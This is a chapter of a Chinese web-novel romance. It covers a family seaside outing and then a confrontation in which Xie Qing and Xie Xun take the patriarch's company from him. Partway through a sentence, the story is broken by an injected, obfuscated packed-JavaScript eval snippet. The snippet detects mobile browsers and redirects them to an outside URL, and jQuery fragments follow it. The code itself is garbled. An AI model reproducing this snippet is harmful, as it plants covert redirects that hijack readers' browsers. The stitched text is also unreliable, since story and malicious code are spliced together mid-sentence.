“不好意思了?”

    谢洵低沉的笑声伴随着音乐回荡在她耳边,他的胸腔也跟着震动,带着他身上独特的清爽味道,姜黛只觉得整个人被他的气息包裹着,指尖触摸到的,都是他的温度。

    “嗯。”

    “不跳了?”

    谢洵也生出了些退意,再这么下去,他就忍不住了。

    “嗯,不跳了。”

    回到座位上,三个男人聊着天,姜黛经历过刚才那一幕觉得口渴,她没怎么说话,啤酒倒是没少喝。

    她喝的迷迷糊糊,直到被谢洵抱到车上还没反应过来。

    “砰”的一声车门关上,谢洵急不可耐的含上了她的唇。

    姜黛更迷糊了,脑海中全是炸开的烟花,绚烂无比。

    谢洵强忍着开回了家,到家直接抱上二楼,开始了他今晚的大餐。

    第二天一早,坐上了老爷子新买的蓝色七座大吉普,姜黛还没睡醒呢。

    “再睡会儿,两个小时才到。”

    谢洵给她盖上小毯子,帮她挪了个位置,枕在他腿上。

    他们坐在最后,中间一排坐着李阿姨和老爷子,程燃开车,谢晴坐副驾驶,全家出动。

    说是出去玩,但老爷子年龄大了,也只能看看海吹吹风。

    姜黛没一会儿又沉沉睡去。

    “谢洵,你媳妇怎么总也睡不醒?”

    老爷子难得跟儿女一起出门游玩,看到姜黛无精打采的样子,难免有些不高兴。

    “昨晚睡得太晚,待会到了就睡醒了。”

    谢洵大言不惭道。

    老爷子一听这话,想着即将到来的孙子,也就没再找谢洵的麻烦。

    “你抓点紧,赶紧给我生个孙子!”

    “这还真说不准,万一哪天你儿媳妇高兴就怀上了呢!”

    一路上,几人说话都压低了声音,老爷子也闭目养神,享受难得团圆的一天。

    十月初的天很凉,海风也大。

    姜黛刚睡醒就要下车,谢洵怕她冷,把她裹得严严实实的才让她下去。

    等姜黛下车,谢晴和李阿姨搀着老爷子已经走出了一段,程燃跟在他们身后。

    海风把头发吹乱了,姜黛索性扎了个丸子头,跟谢洵手牵手,踩着沙滩慢悠悠的走着。

    上午的阳光是刺眼的,谢洵摘下他的墨镜,给姜黛戴上。

    “我又不是小孩,你是不是有些体贴过度了?”

    谢洵虽然算不得温柔,却十分体贴,尤其是来首都之后,对她简直就是面面俱到,姜黛有时都怀疑自己是不是没长手。

    “不是小孩,但能给我生小孩。”

    谢洵本来也没想过要孩子,毕竟,他对孩子是完全没有期待的,童年这个词汇对他来说就像永远也忘不掉的噩梦。

    自从跟姜黛在一起之后,他占有欲越来越强,也改变了想法。

    “想得还挺美。”

    姜黛小声嘀咕着。

    谢洵笑了笑,帮她理了理额前的碎发,牵着她继续往前走。

    沙滩上没几个人,海滩上充斥着一股子腥味,还有少量海洋生物的尸体,算不得太干净。

    可这里的海水很干净,海浪的声音很有规律,很容易让人放松。

    姜黛很享受这种感觉,穿书后,她很少能这么放松。

    谢洵摩挲着她手背细嫩的皮肤,他从不认为自己会自卑,哪怕当年刚到国外,格格不入的时候,他也没自卑过。

    他生来带着一股子狠劲,为了一口吃的,为了活下去,打一架和被人打都是家常便饭。

    可跟姜黛在一起越久,他就越没有安全感,这丫头长得好,性子有趣,有才气,或许,还见过他没见过的未来世界。

    要说缺点么,就是她太年轻还不定性,她的世界太丰富,跟他贫瘠的生活是有距离的。

    他是有钱,可这些钱的吸引力十分有限,只能让她高兴一时,那之后呢?

    谢洵知道自己装不成好人,索性多想想办法留住她,要是他一个不够,那就生个孩子。

    如果她变心了或是像她来时那样突然离开,少爷都不知道自己会怎么发疯。

    不得不说,老谢头的基因强得可怕,谢晴谢洵多少都有些偏执的占有欲和控制欲。

    老爷子他们走得慢,两人很快赶上。

    “就在这吧。”

    老爷子发话,程燃在沙滩上铺好垫子。

    儿女们围在老爷子身边坐下。

    “要是每年都能出来玩玩也挺好,这天都凉了,有些晚了。”

    老爷子有些遗憾。

    “爸,这次也就出来一天,等明年的,我们好好带你出去走走,爬爬山,看看海,换个城市休息几天。”

    谢晴保持着一贯的体贴。

    “行。”

    姜黛看了看谢洵,她算是明白了,跟谢洵相比,谢晴已经是孝顺的模板了,难怪老头偏心谢晴呢。

    不过她很快推翻了这个想法,就算谢洵一样孝顺,可根深蒂固,打眼儿就没看上谢洵母子的老爷子,也不会拿这个儿子当回事。

    现在老头岁数大了,重视儿女了,才能勉强维持着面上的和谐。

    老爷子回忆着年轻时的战绩,絮絮叨叨的讲着,想用自己创业的经历激励儿女。

    可惜,谢洵张嘴就是他往家领了多少个女人,在家里多专制,在外多欺负人等等。

    这父子俩对于那些年的感官完全不同。

    一个是意气风发,一切都掌控在手中的老爷子,另一个是活在阴暗中,见到的都是老头那些脏事的谢洵。

    谁也没说假话,可父子俩真实的活在两个世界,永远无法磨合。

    哪怕最近老爷子开始主动示好,姜黛也不觉得有什么不一样,追根究底不过是他压不住谢洵,换了个方式而已。

    她毫不怀疑,只要老头能有一个孙子,谢洵就可以永远的滚出国了。

    中午,程燃和谢洵买了点海鲜,在当地渔民家里简单烹饪一下,就是一大桌子的海鲜宴。

    天气凉,海鲜性寒,老爷子一开心吃多了,下午开始胃疼坏肚子。

    这家渔民人不错,腾出一间屋子给老爷子休息。

    姜黛把冲好的胃药冲剂递给老爷子,“爸,喝药了,小心烫。”

    “嗯。”

    老爷子接过了药,对姜黛伺候他表示满意,心里却想着以后等谢洵出了国,姜黛就留在家带孩子也不错。

    他现在看这儿媳妇顺眼了不少。

    到了晚上,老爷子肠胃舒服了点才往回开。

    从海边回来的第三天,就是说好要摊牌的日子。

    一大早,谢洵难得的拉着姜黛跟老爷子一起吃早饭。

    等老爷子吃完去客厅看报,姜黛才小声跟谢洵说着什么,把谢洵逗的咯咯笑。

    老爷子往餐厅看了一眼,低头继续看报。

    等吃完饭,谢洵还没有去上班的意思,老爷子纳闷了,这小子最近咋又不爱上班了。

    “你怎么还不去上班?”

    老爷子眉头一挑,十分希望儿子赶紧滚蛋,好不容易稳当了点,可别再像以前那样不务正业。

    “不去了,休息几天。”

    “哼,三天打鱼两天晒网。”

    老爷子冷哼一声,言辞间却没有之前那么激烈。

    三人之间维持着诡异的平衡,各忙各的。

    “李阿姨,我想吃西瓜。”

    虽然天凉了,但有钱还是能买到西瓜,姜黛想提前准

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16652830|182345||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    备好,等谢晴他们回来了,她就吃瓜看戏。

    这还是她第一次直面一家人撕破脸的大戏呢!

    “好嘞,我给你切。”

    “多切点,半个瓜。”待会儿人来了一起吃。

    “好嘞。”

    李阿姨答应着,麻利的进了厨房。

    不出五分钟,满满一大盆的西瓜就端了上来,姜黛一边吃瓜,一边看着电视节目。

    想换台就让谢洵过去换,谁让这年代还没有遥控器呢!

    八点多,谢晴和程燃刚进屋就看到这样一番奇特的景象。

    老爷子坐在沙发上看报纸,姜黛坐在正对着电视的沙发上,吃着瓜还指挥站在电视旁的谢洵给她换台。

    “大姐和程哥回来了,电视关了,不看了。”

    “行。”谢洵总算是结束了调台的工作。

    老爷子一看两人都回来,还是一起回来的,他又纳闷了,这帮孩子今天是怎么了,一大清早的人这么齐,谢晴也没回东北,肯定是有事。

    谢晴跟老爷子打了招呼,坐在对面的沙发上,程燃一脸憨笑的坐在谢晴身边,对老爷子嘘寒问暖的。

    事出反常必有妖,老爷子省去了程燃的一顿废话,“有事就说,别磨磨叽叽的。”

    “爸,我想跟谢洵去趟X国……”

    谢晴开口了。

    老爷子越听眉头皱的越紧,越听脸色越黑。

    “你们这是翅膀硬了,想夺我的权!”

    什么把公司过渡给谢洵管,这是忽悠他的障眼法。

    老头子这才知道,如今首都的公司已经没有太大意义了,都被这姐弟俩掏空了。

    好样的,真特么是好样的,这一双儿女,拿他当老王八耍呢!

    他还以为谢洵这是学好了,没想到,真没想到。

    老爷子拐杖一摔,差点打到了谢晴,还好程燃眼疾手快,赶紧接住了放在一边。

    “程燃,你一直知道这事?”

    “呵呵,叔,你也太看得起我了,我也是最近才知道的。”

    程燃依然一脸憨笑。

    “爸,反正你已经很久不上班了,公司里什么情况,跟你这个老头子也没啥关系,你就安心养老,等儿子把国外的钱给你带回来,省的你总惦记那边。”

    钱是得给老头子带回来,只不过是揣进了他谢洵的兜里。

    姐弟俩这次破釜沉舟,不给老头留一丝余地。

    谢洵吊儿郎当的,丝毫不管他爹会是什么反应,哪有什么父慈子孝,不过是镜中花,水中月,做做样子而已。

    老爷子喘着粗气,自打谢洵领着姜黛回来,他就没少生气,但这一次可真真要了他的老命。

    这俩孩子是要动他谢家的根基,要折了国外那只下金蛋的老母鸡,真真是要气死他。

    “谢晴,这就是你带出来的好弟弟!”

    “爸,谢洵是我一手带大的,他就是我的好弟弟,这么多年了,你也该歇歇了。”

    谢晴一扫之前在老爷子面前的善解人意,此时的她,就是公司的掌权人,也是家族的掌权人。

    这是真正意义上的,谢晴第一次跟老爷子撕破脸。

    老爷子怎么也不相信,向来温柔和善的谢晴,最孝顺他的谢晴,竟然会背叛他。

    “你是什么时候开始有这个想法的?”

    “回国之后,我就开始准备了,每年我去国外,都在为今天做准备。”

    谢晴深吸一口气,继续说道,“从你催着谢洵娶林琳开始,我就已经开始收尾了,我不能容忍你对谢洵的控制。”

    多年部署,如今是结束的时候。

    “谢晴,你可真不是个东西!那是我的集团,我的公司,我的产业,你怎么敢,你怎么敢动?”